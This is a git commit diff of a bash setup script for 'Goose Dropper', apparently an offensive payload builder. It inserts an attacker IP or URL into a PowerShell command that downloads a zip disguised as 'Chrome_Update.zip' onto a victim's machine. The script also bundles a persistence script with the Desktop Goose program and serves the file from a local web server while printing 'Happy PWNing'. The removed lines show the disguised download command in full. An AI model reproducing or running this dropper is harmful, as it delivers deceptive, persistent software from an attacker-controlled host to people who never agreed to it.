Goose Dropper V2.1
This commit is contained in:
@@ -1,90 +1,31 @@
|
||||
#!/bin/bash
|
||||
|
||||
#Determine the source of the DesktopGoose download
|
||||
echo "1) Local Webserver | 2) Persistant URL"
|
||||
IP=$1
|
||||
ZIP=$2
|
||||
PERSIST=$3
|
||||
|
||||
read -p "Select a download source [1/2]: " DL
|
||||
|
||||
if [ "${DL}" == "1" ];
|
||||
#Ensure required arguments are not empty
|
||||
if [ "${IP}" == "" ] | [ "${ZIP}" == "" ];
|
||||
then
|
||||
echo "Grabbing your IP"
|
||||
|
||||
#Grab your local IP to add to the payload
|
||||
SRC="$(ip route show | grep default | cut -d ' ' -f 9)"
|
||||
|
||||
#Add your IP to the payload
|
||||
sed -i "s/YOUR_IP/$SRC/" GooseDropper.txt
|
||||
|
||||
sleep 5s && clear
|
||||
|
||||
elif [ "${DL}" == "2" ];
|
||||
then
|
||||
#Get your URL
|
||||
read -p "Enter your URL: " SRC
|
||||
SRC="$(echo "$SRC" | sed 's/\//\\\//g')"
|
||||
#Add your URL to the payload
|
||||
sed -i "s/powershell wget YOUR_IP:1337\/Chrome_Update.zip -OutFile \$ENV:Temp\/Update.zip/powershell \"wget \'${SRC}\' -OutFile \$ENV:Temp\/Update.zip\"/" GooseDropper.txt
|
||||
|
||||
#Remind users to have the zip ready
|
||||
echo "Please ensure a ZIP file with proper contents and formatting is hosted at the provided URL"
|
||||
|
||||
sleep 5s && clear
|
||||
|
||||
else
|
||||
echo "Please enter a valid selection"
|
||||
exit
|
||||
|
||||
echo "Usage: sh linux_setup.sh <IP_Address/URL> <path_to_desktop_goose.zip> <persist y/n>"
|
||||
exit
|
||||
fi
|
||||
|
||||
read -p "Create ZIP file to deliver Desktop Goose? [Y/N]: " COMP
|
||||
|
||||
#Check if Desktop Goose is present in this directory
|
||||
GOOSE="$(ls | grep 'Desktop Goose v0.31.zip')"
|
||||
|
||||
if [ "${COMP,,}" == "y" ];
|
||||
#Check for help command
|
||||
if [ "${IP,,}" == "-h" ] | [ "${IP,,}" == "help" ];
|
||||
then
|
||||
|
||||
if [ "${GOOSE}" == "" ];
|
||||
then
|
||||
echo "Desktop Goose is not present in this directory, download it, or move it here"
|
||||
exit
|
||||
|
||||
else
|
||||
unzip "Desktop Goose v0.31.zip"
|
||||
mv "Desktop Goose v0.31/DesktopGoose v0.31" Update
|
||||
mv PersistentGoose.ps1 Update/
|
||||
zip -r Chrome_Update.zip Update
|
||||
rm -rf "Desktop Goose v0.31"* Update
|
||||
clear
|
||||
fi
|
||||
else
|
||||
break
|
||||
echo "Usage: sh linux_setup.sh <IP_Address/URL> <path_to_desktop_goose.zip> <persist y/n>"
|
||||
exit
|
||||
fi
|
||||
|
||||
read -p "Configure Persistence? [Y/N]: " PERSIST
|
||||
#Replace placeholders with provided values
|
||||
sed -i "s/YOUR_IP/$IP/" GooseDropper.txt
|
||||
sed -i "s/ZIP/$ZIP/" GooseDropper.txt
|
||||
|
||||
#Remove persistance if desired
|
||||
if [ "${PERSIST,,}" == "n" ];
|
||||
then
|
||||
sed -i "15d;16d;17d;18d;19d" GooseDropper.txt
|
||||
else
|
||||
break
|
||||
fi
|
||||
|
||||
if [ "${DL}" == "1" ];
|
||||
then
|
||||
clear
|
||||
read -p "Configuration finished! Start python webserver now? [Y/N]: " START
|
||||
clear
|
||||
else
|
||||
clear
|
||||
break
|
||||
fi
|
||||
|
||||
if [ "${START,,}" == "y" ];
|
||||
then
|
||||
echo "Starting Server... Happy PWNing! (don't be a skid)"
|
||||
python3 -m http.server 1337 && echo "PWNED!"
|
||||
else
|
||||
clear
|
||||
echo "Finished... Happy PWNing! (don't be a skid)!"
|
||||
fi
|
||||
|
||||
Reference in New Issue
Block a user